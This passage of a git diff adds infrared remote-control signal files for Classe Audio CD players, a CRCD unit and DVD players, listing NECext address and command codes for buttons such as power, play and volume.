+protocol: NECext +address: 86 61 00 00 +command: 17 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 18 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir new file mode 100644 index 000000000..3f4b7acc5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: 0_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 0_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 1_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 2_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 3_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 4_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 5_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 6_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 7_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 8_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: 9_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: SHUFFLE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: NEXT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: NEXT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: PREV_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PREV_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: STORE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: STORE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: SCAN_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: SCAN_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: PAUSE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: <<_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: <<_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: >>_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: >>_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: PLAY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: STOP_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir new file mode 100644 index 000000000..1657e70a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOL+_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOL+_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOL-_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOL-_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: TUN_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: TUN_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: CD_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: CD_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: TP1_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: TP1_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: TP2_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: TP2_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: AUX_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: AUX_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: BAL_R_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: BAL_R_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: BAL_L_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: BAL_L_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: TIMER_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 26 00 00 00 +# +name: TIMER_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 26 00 00 00 +# +name: ALARM_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: ALARM_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: TIME_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: TIME_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: TIME+_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: TIME+_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: TIME-_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: TIME-_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: REC_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: REC_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: LISTEN_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: LISTEN_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: BASS+_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: BASS+_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: BASS-_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: BASS-_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: TREB+_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: TREB+_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: TREB-_T0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 +# +name: TREB-_T1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir new file mode 100644 index 000000000..10dd700af --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: MONO_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: MONO_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: -_(SCAN/TUNE)_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: -_(SCAN/TUNE)_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: +_(SCAN/TUNE)_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: +_(SCAN/TUNE)_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: BAND_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: BAND_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: STORE_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: STORE_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: PRESET_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: PRESET_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: SIGNAL_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: SIGNAL_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: TUNE_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: TUNE_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: SCAN_T0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: SCAN_T1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir new file mode 100644 index 000000000..5e70f2d15 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: 0_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 0_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 1_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 2_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 3_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 4_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 5_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 6_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 7_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 8_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: 9_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: DISPLAY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: REPEAT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>>_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>>_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<<_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<<_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: INDEX_>_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: INDEX_>_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: <_INDEX_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 23 00 00 00 +# +name: <_INDEX_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 23 00 00 00 +# +name: OPEN_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: OPEN_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: <<_SEARCH_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: <<_SEARCH_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_>>_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: SEARCH_>>_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: PLAY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: STOP_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: RANDOM_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 70 00 00 00 +# +name: RANDOM_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 70 00 00 00 +# +name: SHUFFLE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 71 00 00 00 +# +name: SHUFFLE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 71 00 00 00 +# +name: INTRO_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 72 00 00 00 +# +name: INTRO_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 72 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir new file mode 100644 index 000000000..becf5dc6d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: 0_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 00 00 00 00 +# +name: 0_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 00 00 00 00 +# +name: 1_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 1_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 2_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 3_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 4_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 5_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 6_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 7_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 8_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: 9_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0C 00 00 00 +# +name: OSD_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: OSD_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: REPEAT_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1D 00 00 00 +# +name: T-C_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1F 00 00 00 +# +name: T-C_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 1F 00 00 00 +# +name: OK_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: OK_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: MENU_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: MENU_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: UP_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: UP_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: LEFT_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: LEFT_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: RIGHT_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: RIGHT_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: DOWN_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: DOWN_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: RETURN_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: RETURN_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: SETUP_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: SETUP_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: SCAN_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2B 00 00 00 +# +name: SCAN_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2B 00 00 00 +# +name: ANGLE_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2C 00 00 00 +# +name: ANGLE_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2C 00 00 00 +# +name: SUB.T_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2D 00 00 00 +# +name: SUB.T_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2D 00 00 00 +# +name: AUDIO_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: AUDIO_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PAUSE_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: PREV_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: PREV_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: NEXT_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: NEXT_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: PLAY_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: PLAY_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: STOP_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: STOP_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: SLOW_T0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: SLOW_T1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir new file mode 100644 index 000000000..7952f3060 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: 0_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 0_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 1_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 2_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 3_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 4_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 5_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 6_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 7_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 8_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: 9_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: DISPLAY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: STANDBY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: STANDBY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: SHUFFLE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: NEXT_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: NEXT_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: PREV_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PREV_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROG_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: PROG_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: SCAN_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: SCAN_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: PAUSE_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PAUSE_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: <<_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: <<_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: >>_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: >>_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: PLAY_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: STOP_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: A-B_T0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 +# +name: A-B_T1 +type: parsed +protocol: NECext +address: 14 00 00 00 